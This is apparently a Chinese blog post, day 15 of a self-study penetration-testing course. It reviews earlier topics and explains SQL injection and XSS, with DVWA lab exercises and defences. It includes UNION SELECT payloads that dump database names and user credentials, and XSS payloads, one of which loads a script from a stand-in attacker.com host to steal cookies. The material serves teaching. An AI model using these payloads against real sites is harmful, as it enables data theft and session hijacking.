自学渗透测试第15天(基础复习与漏洞原理入门)

第6章 基础复习与漏洞原理入门(第15--17天)

6.1 周末复盘与SQL/XSS原理(第15天)

核心目标
  1. 系统性复盘:回顾第1-14天的核心知识点,形成结构化知识网络,查漏补缺。

  2. 掌握SQL注入原理:深入理解SQL注入漏洞的产生机制、分类、危害、利用手法及核心防御思想。

  3. 掌握XSS原理:深入理解跨站脚本攻击的产生机制、三种类型(反射型、存储型、DOM型)的区别、利用场景及核心防御思想。

模块一:周末复盘 - 构建知识体系
1.1 阶段一:基础与环境搭建(第1-8天)
  • 核心收获

    • 法律与流程:渗透测试必须在授权下进行,遵循PTES等标准流程。

    • Linux核心 :文件操作(cat, grep, find, awk, sed)、权限管理(chmod, sudo)、进程管理(ps, netstat)、Shell脚本。

    • Windows核心 :CMD命令(net user, systeminfo)、权限体系、注册表。

    • 网络基础:TCP/IP模型、HTTP/HTTPS协议、Wireshark抓包分析。

    • 工具入门:Burp Suite代理、拦截、重放的基本使用。

  • 关键联系:Linux/Windows是攻击的起点和终点;网络协议是通信的桥梁;Burp Suite是Web测试的武器。

1.2 阶段二:信息收集与侦察(第9-14天)
  • 核心收获

    • 主动侦察:Nmap端口扫描、子域名枚举、目录/文件爆破、服务/版本识别。

    • 被动侦察:Shodan/Censys网络空间搜索引擎、Maltego关联分析。

    • 指纹识别whatwebWappalyzer识别Web技术栈。

    • 自动化:使用Shell脚本将工具链串联,实现批量信息收集。

  • 关键联系:信息收集的广度和深度直接决定后续攻击的成功率。自动化是提升效率的关键。

1.3 知识图谱构建
  • 请绘制一张思维导图,将以下核心概念连接起来:

    • 中心:渗透测试流程(PTES七阶段)。

    • 分支1 :信息收集(工具:nmap, gobuster, shodan)。

    • 分支2:漏洞分析(原理:SQLi, XSS;工具:Burp Suite)。

    • 分支3:权限提升(Linux: SUID, sudo;Windows: 用户管理)。

    • 基础:Linux命令、Windows命令、网络协议、Shell脚本。

      复制代码
模块二:SQL注入漏洞原理深度解析
2.1 漏洞产生根源
  • 核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接拼接到SQL查询语句中执行,导致攻击者可以改变原有查询逻辑。

  • 简单示例

    复制代码
    // 危险代码:用户输入直接拼接
    $id = $_GET['id']; // 用户输入:1' OR '1'='1
    $sql = "SELECT * FROM users WHERE id = '$id'";
    // 最终查询语句:SELECT * FROM users WHERE id = '1' OR '1'='1'
    // 条件永真,返回所有用户信息
2.2 SQL注入分类
  1. 按注入点类型

    • 数字型id=1-> id=1 AND 1=2

    • 字符型id='admin'-> id='admin' OR '1'='1

  2. 按数据返回方式

    • 联合查询注入 :利用UNION拼接查询,直接回显数据。

    • 报错注入 :利用数据库报错信息回显数据(如updatexml, extractvalue)。

    • 布尔盲注:通过页面返回的真/假状态(如内容存在/不存在)逐位推测数据。

    • 时间盲注 :通过执行延时函数(如sleep())判断条件真假。

  3. 按执行效果

  • 查询数据SELECT

  • 修改数据INSERT, UPDATE, DELETE

  • 数据库操作DROP TABLE, CREATE USER等。

2.3 利用思路与Payload构造
  • 探测注入点 :提交单引号'、注释符--/*,观察页面回显或报错。

  • 判断列数ORDER BY 5直到报错。

  • 联合查询UNION SELECT 1,2,3,@@version确定显示位。

  • 获取信息

    复制代码
    UNION SELECT 1, schema_name, 3 FROM information_schema.schemata  -- 查数据库名
    UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='dvwa'  -- 查表名
    UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'  -- 查列名
    UNION SELECT 1, concat(user, ':', password), 3 FROM dvwa.users  -- 查数据
2.4 危害与防御
  • 危害:数据库信息泄露、篡改、删除,甚至获取服务器权限。

  • 防御核心

  1. 使用预编译语句(参数化查询):分离代码与数据。

  2. 输入过滤与转义 :对特殊字符进行转义(如'-> \')。

  3. 最小权限原则:数据库连接账户使用最低必要权限。

  4. Web应用防火墙

模块三:跨站脚本攻击原理深度解析
3.1 漏洞产生根源
  • 核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接输出到HTML页面中,浏览器将其误认为是脚本代码执行。

  • 简单示例

    复制代码
    <!-- 危险代码:用户输入直接输出 -->
    <div>您的搜索:<?php echo $_GET['keyword']; ?></div>
    <!-- 用户输入:<script>alert('XSS')</script> -->
    <!-- 最终输出:<div>您的搜索:<script>alert('XSS')</script></div> -->
3.2 XSS三种类型
  1. 反射型XSS

    • 特点 :Payload"反射"回浏览器执行,通常需要诱骗用户点击恶意链接。一次性的

    • 利用场景:搜索框、错误消息页。

  2. 存储型XSS

    • 特点 :Payload存储在服务器(数据库、文件),当其他用户访问相关页面时自动执行。持久性的

    • 利用场景:留言板、用户昵称、论坛发帖。

  3. DOM型XSS

  • 特点:漏洞位于前端JavaScript代码中,Payload不发送到服务器,在客户端被解析执行。

  • 关键函数document.write, innerHTML, eval, location.hash等。

3.3 利用思路与Payload构造
  • 探测XSS :提交<script>alert(1)</script><img src=x onerror=alert(1)>等,观察是否弹窗。

  • 常见Payload

    复制代码
    <script>alert(document.cookie)</script>  <!-- 窃取Cookie -->
    <img src=x οnerrοr="s=createElement('script');s.src='http://attacker.com/steal.js';body.appendChild(s);"> <!-- 加载远程脚本 -->
  • 利用框架:BeEF,用于控制被攻击者浏览器。

3.4 危害与防御
  • 危害:窃取用户Cookie、会话劫持、钓鱼、键盘记录、传播恶意软件。

  • 防御核心

  1. 输出编码/转义:根据输出上下文(HTML、JavaScript、CSS、URL)进行相应编码。

  2. 内容安全策略 :设置Content-Security-Policy头,限制脚本加载源。

  3. 输入过滤 :对<, >, &, ", '等危险字符进行过滤或转义。

  4. 使用安全的API :避免使用innerHTML,使用textContent

模块四:当日达标实战任务
4.1 复盘与自查
  1. 绘制知识图谱:完成模块1.3中的思维导图绘制,确保每个知识点之间有清晰的逻辑关联。

  2. 命令盲测:在不查看笔记的情况下,尝试写出完成以下任务的命令:

  • 查找/etc目录下所有.conf文件。

  • 实时监控/var/log/auth.log中"Failed password"的日志行。

  • 使用nmap扫描192.168.1.0/24网段存活主机,并识别80端口服务版本。

4.2 SQL注入原理验证
  1. 搭建测试环境 :在DVWA中,将安全级别设为Low,进入SQL Injection模块。

  2. 手工注入练习

  • 输入1,观察正常回显。

  • 输入1',观察报错信息,理解漏洞存在。

  • 输入1' OR '1'='1,验证注入成功,返回所有用户。

  • 尝试使用UNION SELECT查询数据库版本和当前用户。

4.3 XSS原理验证
  1. 反射型XSS :在DVWA的XSS (Reflected)模块,输入<script>alert('XSS')</script>,观察弹窗。

  2. 存储型XSS :在DVWA的XSS (Stored)模块,在留言板输入XSS Payload,提交后刷新页面或新开页面,观察弹窗。

  3. 分析区别:对比两种XSS,理解"反射"与"存储"的含义。

模块五:常见问题与解决方案
5.1 原理理解难点
  • SQL注入中,为什么'--是测试关键'用于闭合字符串,--用于注释掉后续SQL代码,这两者能最直接地改变SQL语句结构。

  • DOM型XSS和反射型XSS易混淆:关键看Payload是否经过服务器。反射型XSS的Payload在请求参数中,服务器会将其返回;DOM型XSS的Payload在前端JS中处理,可能不会发送到服务器。

5.2 实践误区
  • 只关注自动化工具sqlmap等工具虽然强大,但必须理解手工注入原理,才能应对WAF、过滤等情况。

  • XSS测试只会用alert(1):这只是最基本的探测。真实利用需要构造窃取Cookie、钓鱼等复杂Payload,并理解同源策略、CORS等限制。


明日预告 :第16天将学习Linux文本处理进阶 ,深入掌握awksed这两个强大的流式文本编辑器,用于高效地处理扫描结果、日志分析和数据格式化,这是专业渗透测试工程师的必备技能。

相关推荐
Hello World . .2 小时前
linux驱动编程2 : uboot、Linux内核、rootfs来源及制作流程
linux·运维·服务器
啦啦啦_99992 小时前
1. Linux常用命令
linux·运维·服务器
大白菜和MySQL2 小时前
openEuler-20.03-LTS系统 nextcloud网盘搭建
linux
Harvy_没救了2 小时前
【Linux】Shell指令中的变量
linux·运维·服务器
Deitymoon2 小时前
linux——TCP多线程并发服务器
linux·服务器·tcp/ip
大方子2 小时前
【青少年CTF S1·2026 公益赛】easy_php
网络安全·青少年ctf
senijusene3 小时前
IMX6ULL Linux 驱动开发流程:从环境搭建到系统启动与内核编译
linux·运维·驱动开发
格林威3 小时前
AI视觉项目部署:Docker 部署视觉服务可行性分析
linux·运维·人工智能·数码相机·docker·容器·工业相机
huanmieyaoseng10033 小时前
Linux安装达梦数据库DM8
linux·运维·数据库